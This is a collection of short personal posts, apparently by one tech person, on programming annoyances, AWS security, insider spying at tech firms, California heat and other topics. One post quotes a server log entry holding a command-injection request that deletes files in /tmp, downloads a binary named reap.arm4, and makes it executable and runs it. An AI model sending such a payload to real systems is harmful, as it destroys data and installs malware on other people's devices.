Periodic reminder to self: recursive macros are not worth it. Clumsy, impossible to debug, and a time sink. Why do I need to re-learn this every few years?

There is no more way to search for web pages that link to a given URL? Google link: is dead, can't find anything on DDG or Bing either. What do people do?

Two orthogonal dimensions of time. You heard it here first.

Lots of those in my log. "GET /shell?cd+/tmp;rm+-rf+*;wget+;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4" That works? Usually shell scripts, though, not arm4.

Whoever loudly proclaims "They will never use <something> because it's too hard" clearly has never tried to secure things on AWS.

Congratulations to everybody involved in the . As changing engines in a flying airplane goes, this was a real complicated one. More like changing all engines of an entire fleet of airplanes at the same time, without knowing all the airplanes involved.

First India, now China. Who thinks agents from all sorts of countries only try to get hired at Twitter? (Not a serious question)

Also, check your spelling. When talking about milestones, you do not want to spell it “millstones”. Not the right vibes …

I cannot understand for the life of me how entrepreneurs — who pitch all the time — fail to manage to get to the key points of their presentation before they get cut off because they are out of time. After they’ve been told days ahead how much time they have.

Call it 106F now where I am in California. 41C for those of you who use a reasonable system of units. And that’s at +1.1C above historical average. +1.5C is out of reach by now, and heat wave maxima grow faster than average temperatures (higher variance). The future is “hot”.

... and we have reached 100F in Sunnyvale, with a dose of threatened electricity blackouts. Well, given the entire summer was fairly mild, unlike the rest of the world, I guess I can't complain much.

Whatever happened to the lasso on the Mac? Wasn't that quite ubiquitous in early apps? I want it back.

You can’t hide by running away in outer space. “the mean free path of a photon in intergalactic space is about 10^23 km, or 10 billion light years.”

Got "Danish Style Butter Cookies" with an English brand (Cambridge & Thames), showing a Bavarian castle on the front (Neuschwanstein), manufactured in India, and eating them in California. Count me confused.

Nation-state attacks against major tech companies are much easier by placing agents on the payroll of the tech company than breaking encryption or such. Have been saying this for a long time, and here's the evidence.

Now we’re are getting somewhere. “The FBI raid on Mar-a-Lago last Monday was specifically intended to recover Donald Trump's personal "stash" of hidden documents, two high-level U.S. intelligence officials tell Newsweek.”

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